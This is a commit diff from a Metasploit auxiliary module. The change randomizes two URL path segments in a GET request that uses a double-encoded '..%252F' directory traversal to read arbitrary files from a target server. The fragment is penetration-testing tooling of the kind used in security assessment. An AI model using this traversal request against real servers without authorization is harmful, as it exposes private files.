Randomize application and profile

master
Jacob Robles 2019-04-26 07:15:39 -05:00
parent 96cb5ce917
commit 306b0fd2e7
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 6 additions and 1 deletions

View File

@ -39,13 +39,18 @@ class MetasploitModule < Msf::Auxiliary
]) ])
end end
def data
Rex::Text.rand_text_alpha(3..8)
end
def run_host(ip) def run_host(ip)
filename = datastore['FILEPATH'] filename = datastore['FILEPATH']
traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}" traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
uri = "/#{data}/#{data}/master/#{traversal}"
res = send_request_raw({ res = send_request_raw({
'method' => 'GET', 'method' => 'GET',
'uri' => "/foo/default/master/#{traversal}" 'uri' => uri
}) })
unless res && res.code == 200 unless res && res.code == 200